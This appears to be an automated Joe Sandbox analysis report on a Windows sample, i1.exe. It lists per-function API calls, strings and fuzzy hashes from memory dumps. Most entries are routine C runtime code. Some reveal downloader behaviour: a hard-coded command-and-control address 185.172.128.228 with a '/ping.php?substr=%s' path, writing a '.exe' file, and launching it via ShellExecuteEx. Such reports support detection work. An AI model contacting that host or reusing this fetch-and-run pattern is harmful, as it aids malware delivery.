API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 90edccbe862cdad6193eb808b69496e37856ffec839fd57042e26aa05c578d31
Instruction ID: 804699b6a5c80bac2842bae3f4e6e7460cbec33686f784624dec7bd42b1af61a
Opcode Fuzzy Hash: 90edccbe862cdad6193eb808b69496e37856ffec839fd57042e26aa05c578d31
Instruction Fuzzy Hash: 41F030714413209B8A16BF15FC416893B60FB4871831275AFF50866275CB3959918FCE

Uniqueness

Uniqueness Score: -1.00%

Function 040F5519 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 040F5537

Part of subcall function 040F6501: HeapFree.KERNEL32(00000000,00000000,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?), ref: 040F6517
Part of subcall function 040F6501: GetLastError.KERNEL32(?,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?,?), ref: 040F6529

_free.LIBCMT ref: 040F5549
_free.LIBCMT ref: 040F555C
_free.LIBCMT ref: 040F556D
_free.LIBCMT ref: 040F557E

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 90edccbe862cdad6193eb808b69496e37856ffec839fd57042e26aa05c578d31
Instruction ID: ea9d23ec98296a6c3a3f55170fcad2547a9d7ce0e477aba70ed97eb122f253f6
Opcode Fuzzy Hash: 90edccbe862cdad6193eb808b69496e37856ffec839fd57042e26aa05c578d31
Instruction Fuzzy Hash: EEF01DB0811111ABDE26BF54FC406453761EB14B18712797EE20472678CF3666928ECA

Uniqueness

Uniqueness Score: -1.00%

Function 0041608E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 0041618D

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2895899722
Opcode ID: 70cdf97db86fb0d935fe44adb4be9c8666ab98f3e4a20976dc49b384eadb291b
Instruction ID: ae3557305dc9c54a6d59b1edd30c6b9f9c56a404ae947bd98c264bdf0008d32a
Opcode Fuzzy Hash: 70cdf97db86fb0d935fe44adb4be9c8666ab98f3e4a20976dc49b384eadb291b
Instruction Fuzzy Hash: EF51D171D00209ABDB10AFA9C845FEF7BB8AF45314F12015BE804B7292D778D982CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041D721 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 0041D770
_free.LIBCMT ref: 0041D88D

Part of subcall function 00410932: IsProcessorFeaturePresent.KERNEL32(00000017,00410904,00000016,00412B39,0000002C,004390A0,0041D29D,?,?,?,00410911,00000000,00000000,00000000,00000000,00000000), ref: 00410934
Part of subcall function 00410932: GetCurrentProcess.KERNEL32(C0000417,00412B39,00000016,00416D9C), ref: 00410956
Part of subcall function 00410932: TerminateProcess.KERNEL32(00000000), ref: 0041095D

Strings

., xrefs: 0041DA44
*?, xrefs: 0041D764

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 3e7ab2acfc700722c65f25e963b3ffec5a7bf3beb8922ea61622f305851d44eb
Instruction ID: ecd8b5256a954c25838a73366a1b3394fcd436117d861706b95123fff02031d2
Opcode Fuzzy Hash: 3e7ab2acfc700722c65f25e963b3ffec5a7bf3beb8922ea61622f305851d44eb
Instruction Fuzzy Hash: E451B3B1E00209AFDF14DFA9C881AEEF7B5EF98314F24416EE854E7341E6399E418B54

Uniqueness

Uniqueness Score: -1.00%

Function 040FD988 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 040FD9D7
_free.LIBCMT ref: 040FDAF4

Part of subcall function 040F0B99: IsProcessorFeaturePresent.KERNEL32(00000017,040F0B6B,00000016,040F2DA0,0000002C,004390A0,040FD504,?,?,?,040F0B78,00000000,00000000,00000000,00000000,00000000), ref: 040F0B9B
Part of subcall function 040F0B99: GetCurrentProcess.KERNEL32(C0000417,040F2DA0,00000016,040F7003), ref: 040F0BBD
Part of subcall function 040F0B99: TerminateProcess.KERNEL32(00000000), ref: 040F0BC4

Strings

*?, xrefs: 040FD9CB
., xrefs: 040FDCAB

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 3e7ab2acfc700722c65f25e963b3ffec5a7bf3beb8922ea61622f305851d44eb
Instruction ID: 300ac7caef4f044d7b9402fb470893890812f7f54fc9777b377cdb6dd3fb4e3c
Opcode Fuzzy Hash: 3e7ab2acfc700722c65f25e963b3ffec5a7bf3beb8922ea61622f305851d44eb
Instruction Fuzzy Hash: D3517E75E0420AAFDF14DFA8CC80AADBBF5EF88314F248179DA55F7740E675AA018B50

Uniqueness

Uniqueness Score: -1.00%

Function 004132C3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\i1.exe,00000104), ref: 00413303
_free.LIBCMT ref: 004133CE
_free.LIBCMT ref: 004133D8

Strings

C:\Users\user\AppData\Local\Temp\i1.exe, xrefs: 004132FA, 00413301, 00413330, 00413368

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\i1.exe
API String ID: 2506810119-3777645852
Opcode ID: cb31f26f73b597728b2cacf79e07e2f55e925ef4aaaec1d2d24814769dd1ca0b
Instruction ID: e0cf6dde0ac7f492d26fb7a27bfd3cf8f71fda75d9391d43b3cd8632259efb82
Opcode Fuzzy Hash: cb31f26f73b597728b2cacf79e07e2f55e925ef4aaaec1d2d24814769dd1ca0b
Instruction Fuzzy Hash: 72319371A0021CABDB219F9698819DEBBB8EB85315F1041ABED14D7210DB799A81CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 040F352A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\i1.exe,00000104), ref: 040F356A
_free.LIBCMT ref: 040F3635
_free.LIBCMT ref: 040F363F

Strings

C:\Users\user\AppData\Local\Temp\i1.exe, xrefs: 040F3561, 040F3568, 040F3597, 040F35CF

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\i1.exe
API String ID: 2506810119-3777645852
Opcode ID: cb31f26f73b597728b2cacf79e07e2f55e925ef4aaaec1d2d24814769dd1ca0b
Instruction ID: 29e2c2672a38aca992f26d9a198c8caadc3f2e6fcb9c42a4fe1ffc06d18e437a
Opcode Fuzzy Hash: cb31f26f73b597728b2cacf79e07e2f55e925ef4aaaec1d2d24814769dd1ca0b
Instruction Fuzzy Hash: 5B3162B1A00258AFDB21EF99DC8499EBBFCEB84724F144076EA04A7710D771BA41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04106777 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40synchronizationCOMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(?), ref: 041067B9
WaitForSingleObject.KERNEL32(?,00008000), ref: 041067CD
CloseHandle.KERNEL32(?), ref: 041067D6

Strings

.exe, xrefs: 04106782

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: CloseExecuteHandleObjectShellSingleWait
String ID: .exe
API String ID: 3837156514-4119554291
Opcode ID: f62208f3743acdc8e07c19b13a12db9e2ae385e15dd7ae34529c06f65476a768
Instruction ID: 03a64f9b921bba3418755444c5988d22276f96d5f4c97de45c213a53f7daf565
Opcode Fuzzy Hash: f62208f3743acdc8e07c19b13a12db9e2ae385e15dd7ae34529c06f65476a768
Instruction Fuzzy Hash: 13015A31D00218EFDB15DFA9E8859DDBBB8FF08640F408126E801A6260EB709A55CB84

Uniqueness

Uniqueness Score: -1.00%

Function 041064A9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,?,.exe,00000000,?,?,04105B74,00000001,?,/ping.php?substr=%s), ref: 041064C4
WriteFile.KERNEL32(00000000,?,?,00000001,00000000,?,04105B74,00000001,?,/ping.php?substr=%s,?), ref: 041064DC
CloseHandle.KERNEL32(00000000,?,04105B74,00000001,?,/ping.php?substr=%s,?), ref: 041064E5

Strings

.exe, xrefs: 041064AE

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: .exe
API String ID: 1065093856-4119554291
Opcode ID: b4d6c5e9e66e8ec20fd844d9cf3cc002c1ddea431dde195961cacbec5cc1c6d8
Instruction ID: 7aee467e7fe88a9418bd4cdf4a5035073b651e818180b1cd1cc9ddd29988f95e
Opcode Fuzzy Hash: b4d6c5e9e66e8ec20fd844d9cf3cc002c1ddea431dde195961cacbec5cc1c6d8
Instruction Fuzzy Hash: 4FE06572601124BBD7311B999C48FA7BE6CEF856A0F040165FB05D215096A1DC0197B4

Uniqueness

Uniqueness Score: -1.00%

Function 00417D6F Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00417DFA
__alldvrm.LIBCMT ref: 00417FFB
__alldvrm.LIBCMT ref: 0041801D

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 3e51a796a22d9d63a9b00b6eba06f801b3f3ffc83eaf799798e62e4f5953ed77
Instruction ID: fd8853d8f1522a73f401650a4168fe8705857821074eec12fc08c2aeadde5945
Opcode Fuzzy Hash: 3e51a796a22d9d63a9b00b6eba06f801b3f3ffc83eaf799798e62e4f5953ed77
Instruction Fuzzy Hash: 9EA11272A083869FDB218E18C881BEBBBF1EF55354F1441AEE5859B281D63C8982C758

Uniqueness

Uniqueness Score: -1.00%

Function 040F7FD6 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 040F8061
__alldvrm.LIBCMT ref: 040F8262
__alldvrm.LIBCMT ref: 040F8284

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 3e51a796a22d9d63a9b00b6eba06f801b3f3ffc83eaf799798e62e4f5953ed77
Instruction ID: 82fd0bc1c6d5a4c65291c696dd7633393c7c8fc0ca057c3694590fffc81e7c9a
Opcode Fuzzy Hash: 3e51a796a22d9d63a9b00b6eba06f801b3f3ffc83eaf799798e62e4f5953ed77
Instruction Fuzzy Hash: 53A14633A006869FEB659F58CC807EEBBE4FF51354F148279DA84AB681D338B941C750

Uniqueness

Uniqueness Score: -1.00%

Function 0042286F Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0042299E

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e1eff9f77d6fe5220b41880063169ad7198556d756e84d98a38d826084e6795b
Instruction ID: 928e3cb369f2e27a6f9c5d6c25e794823a6f45c2d4bbec1796fd6aa098e8f7c9
Opcode Fuzzy Hash: e1eff9f77d6fe5220b41880063169ad7198556d756e84d98a38d826084e6795b
Instruction Fuzzy Hash: B2411B71B002247BDB206B7A9D41BAE36A4EF05334F54021BF818D6291D6FC8DC19669

Uniqueness

Uniqueness Score: -1.00%

Function 04102AD6 Relevance: 6.2, APIs: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04102C05

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0327c6b289028ba5b2b3c2fb758003783598fcbdb2bec9316035b6f17d33412a
Instruction ID: fbefe8917350460cb7906ebaefbe65366bcabd724c58e68d78392bde998cfd13
Opcode Fuzzy Hash: 0327c6b289028ba5b2b3c2fb758003783598fcbdb2bec9316035b6f17d33412a
Instruction Fuzzy Hash: 7A417D316001056AEB357EB88CCCAFE3664EF05738F1481E5F518F65D0EBB5BD408265

Uniqueness

Uniqueness Score: -1.00%

Function 040FB567 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,0042E790,00000000,00000000,8B56FF8B,040F4002,?,00000004,00000001,0042E790,0000007F,?,8B56FF8B,00000001), ref: 040FB5B4
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 040FB63D
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 040FB64F
__freea.LIBCMT ref: 040FB658

Part of subcall function 040F7CAC: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 040F7CDE

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 4c9fcdccec6534139f4d5072acc38e80a3e5bc7209392af5cdc3591196cc905b
Instruction ID: c770367ff58bafdb43da5dce9907308c653bd6f363a5398ae36c04f83c8ee13b
Opcode Fuzzy Hash: 4c9fcdccec6534139f4d5072acc38e80a3e5bc7209392af5cdc3591196cc905b
Instruction Fuzzy Hash: F9319F71A0020A9FDF249F75CC44EBE7BB5EB40714F080139ED14A7550E739E964CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040CCAA Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0040CCC4

Part of subcall function 0040CC11: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 0040CC40
Part of subcall function 0040CC11: ___AdjustPointer.LIBCMT ref: 0040CC5B

_UnwindNestedFrames.LIBCMT ref: 0040CCD9
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 0040CCEA
CallCatchBlock.LIBVCRUNTIME ref: 0040CD12

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 5edf251907e2bd12ab1bab35c72448d2fc128933da46fdb6cd3469693a1eea58
Instruction ID: f1d65ff4a2caa8f4402a5ee0af87b259506669f2abbd9cc63769bcbaa0b6a130
Opcode Fuzzy Hash: 5edf251907e2bd12ab1bab35c72448d2fc128933da46fdb6cd3469693a1eea58
Instruction Fuzzy Hash: 1D012D32500108BBDF116F96CC81DEF7F69EF99758F044129FE0866261D73AE861EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 040ECF11 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 040ECF2B

Part of subcall function 040ECE78: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 040ECEA7
Part of subcall function 040ECE78: ___AdjustPointer.LIBCMT ref: 040ECEC2

_UnwindNestedFrames.LIBCMT ref: 040ECF40
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 040ECF51
CallCatchBlock.LIBVCRUNTIME ref: 040ECF79

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 5edf251907e2bd12ab1bab35c72448d2fc128933da46fdb6cd3469693a1eea58
Instruction ID: 0d50f8ce5f243da8e34059dc6202dc88c1670d6f4fd5ff007803cca60faa0d70
Opcode Fuzzy Hash: 5edf251907e2bd12ab1bab35c72448d2fc128933da46fdb6cd3469693a1eea58
Instruction Fuzzy Hash: 86012D32100149BFEF116E96CC40EFB7BA9EF59758F044015FE08A6120D732E871ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 040F74BA Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,040EED94,00000000,00000000,?,040F7461,040EED94,00000000,00000000,00000000,?,040F7719,00000006,0042F348), ref: 040F74EC
GetLastError.KERNEL32(?,040F7461,040EED94,00000000,00000000,00000000,?,040F7719,00000006,0042F348,0042F340,0042F348,00000000,00000364,?,040F7052), ref: 040F74F8
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,040F7461,040EED94,00000000,00000000,00000000,?,040F7719,00000006,0042F348,0042F340,0042F348,00000000), ref: 040F7506

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 26bf22cc59954dcc6720876a51754d7684b8387ef23ad7c861cfe47f39fec3a2
Instruction ID: 5f3d2e6dbc02a2d80192f0dde8836c7ea9e50cada26cf9e52ee0931a90f68e65
Opcode Fuzzy Hash: 26bf22cc59954dcc6720876a51754d7684b8387ef23ad7c861cfe47f39fec3a2
Instruction Fuzzy Hash: 1901F7367512279BC7719F68AC48B567BD9AF04FA1B900530FB0AF3580EBA0F901C6E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041293D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 004129CD

Strings

pow, xrefs: 004129A5, 004129C2

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 1002f3fead58ecdd09521feafb71d77c6abc34bad63ee383d6bbf70ab6509b6f
Instruction ID: 0a9ba9cf01538bb623dd895b254acf0ed02b79a8d0ee48bda8380b1111d13792
Opcode Fuzzy Hash: 1002f3fead58ecdd09521feafb71d77c6abc34bad63ee383d6bbf70ab6509b6f
Instruction Fuzzy Hash: 3651607175420196C7217718DF813FB6BA0EB40750F64497BE085C23A9EB7D8CE6DA8E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DDFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,00000005,?,00000000), ref: 0041DE21

Strings

.A, xrefs: 0041DE13
, xrefs: 0041DE66

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Info
String ID: $.A
API String ID: 1807457897-2696116503
Opcode ID: 894c406951e1bf4a9ddc63c434b686542591dbb70d0a2e0ead158e77a5fc9e7b
Instruction ID: bc213980aac5c6bda6009a83c5849e62ad2cee4ae6a6ae2e32fe98ed2f123d1c
Opcode Fuzzy Hash: 894c406951e1bf4a9ddc63c434b686542591dbb70d0a2e0ead158e77a5fc9e7b
Instruction Fuzzy Hash: EA410AF190434C9EDB218E248D84BFABBB9DF55304F1404EEE58A97142D23DAA86CF65

Uniqueness

Uniqueness Score: -1.00%

Function 040EA937 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 040EA96A
__IsNonwritableInCurrentImage.LIBCMT ref: 040EAA23

Strings

csm, xrefs: 040EAA0D

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 9c4d965ac64c68ad1acf27fcd63e115faa6e970b3dad7dcbeead64b99ae0827c
Instruction ID: 450998a26dde91959373e51ef491c6b0334cb8173b1b0955f6829d05fb843813
Opcode Fuzzy Hash: 9c4d965ac64c68ad1acf27fcd63e115faa6e970b3dad7dcbeead64b99ae0827c
Instruction Fuzzy Hash: B641F234B002099FDF10DF6AC880ABEBBB1AF48328F188095E8157B291D735A965CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD92 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,0041FFED,?,00000050,?,?,?,?,?), ref: 0041FE6D

Strings

ACP, xrefs: 0041FDB0
OCP, xrefs: 0041FDE6

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: b97aa1c145ec632733d8060ab258c15f3e7cb035cbade5a7dcdad7a6c82acd9c
Instruction ID: db8a1e39b5ed56134af0dcb237998205fad8b660637b78a6cadd581e1e0cf4fb
Opcode Fuzzy Hash: b97aa1c145ec632733d8060ab258c15f3e7cb035cbade5a7dcdad7a6c82acd9c
Instruction Fuzzy Hash: 20213872A04301A6DB308E15D9017E7739A9B60B24F164077E90AC7312E73ADDC7C39C

Uniqueness

Uniqueness Score: -1.00%

Function 040FFFF9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,04100254,?,00000050,?,?,?,?,?), ref: 041000D4

Strings

ACP, xrefs: 04100017
OCP, xrefs: 0410004D

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: b97aa1c145ec632733d8060ab258c15f3e7cb035cbade5a7dcdad7a6c82acd9c
Instruction ID: e67a98a3e723bb1109e3f0edc66c81fb7a6cd990ebb4a284c707749d393db188
Opcode Fuzzy Hash: b97aa1c145ec632733d8060ab258c15f3e7cb035cbade5a7dcdad7a6c82acd9c
Instruction Fuzzy Hash: 10210872B00104A6E7348F14E980B9B7A5AAF4CBDCF07C5A1EA09E7188FB77F9408354

Uniqueness

Uniqueness Score: -1.00%

Function 041062B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 041062B6

Part of subcall function 040E1E19: __EH_prolog.LIBCMT ref: 040E1E1E

Part of subcall function 040E266A: __EH_prolog.LIBCMT ref: 040E266F

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 04106398

Strings

,jC, xrefs: 0410638D

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: H_prolog$Ios_base_dtorstd::ios_base::_
String ID: ,jC
API String ID: 420165198-3201430929
Opcode ID: 2ccafb23c208dd6e33c94c9fad69460fbbd1af4e4676f70a9cd624bb09d9f0ce
Instruction ID: f2188f68a94364437a0598655588bb6817fed90f147748f57113b7ef2821bdb3
Opcode Fuzzy Hash: 2ccafb23c208dd6e33c94c9fad69460fbbd1af4e4676f70a9cd624bb09d9f0ce
Instruction Fuzzy Hash: 6A31DA75D01119EFEB14DF95D980AEDF7B4FF48208F1081AAD415B7640DB74AA18CF60

Uniqueness

Uniqueness Score: -1.00%

Function 004171B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00417217
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00417224

Strings

-@, xrefs: 004171EE, 00417202, 004171F3

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID: -@
API String ID: 2279764990-2564449678
Opcode ID: d5f4a00e4ea312b7d3a414fb44f76d48f23aa1c3aa7f8720876b6b1e831c6d21
Instruction ID: 290a678ed3add9fd0faa91afd9d0ee705692a8110a20fb2286b59343c35ba588
Opcode Fuzzy Hash: d5f4a00e4ea312b7d3a414fb44f76d48f23aa1c3aa7f8720876b6b1e831c6d21
Instruction Fuzzy Hash: 2B110A33A041209BAF369E19DC809DB73B5EB847247164172FD19AB354DA34DC86C6D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040356F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00403574

Strings

/ping.php?substr=%s, xrefs: 0040357C
185.172.128.228, xrefs: 0040357B

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog
String ID: /ping.php?substr=%s$185.172.128.228
API String ID: 3519838083-3577573015
Opcode ID: f1305d7e47ccb51794fd0344b69111e12c8a62ce6eac32493127aafbfd273c69
Instruction ID: 7b6dfb3f8f1c8d27c76164ee4eac5e21074d72dd8ad347809e0f3e64fbe8a7e5
Opcode Fuzzy Hash: f1305d7e47ccb51794fd0344b69111e12c8a62ce6eac32493127aafbfd273c69
Instruction Fuzzy Hash: 0F01C472A01114BBDB04AF899C41BAEF769EF45315F10013FF405E3292D3789E41C6E9

Uniqueness

Uniqueness Score: -1.00%

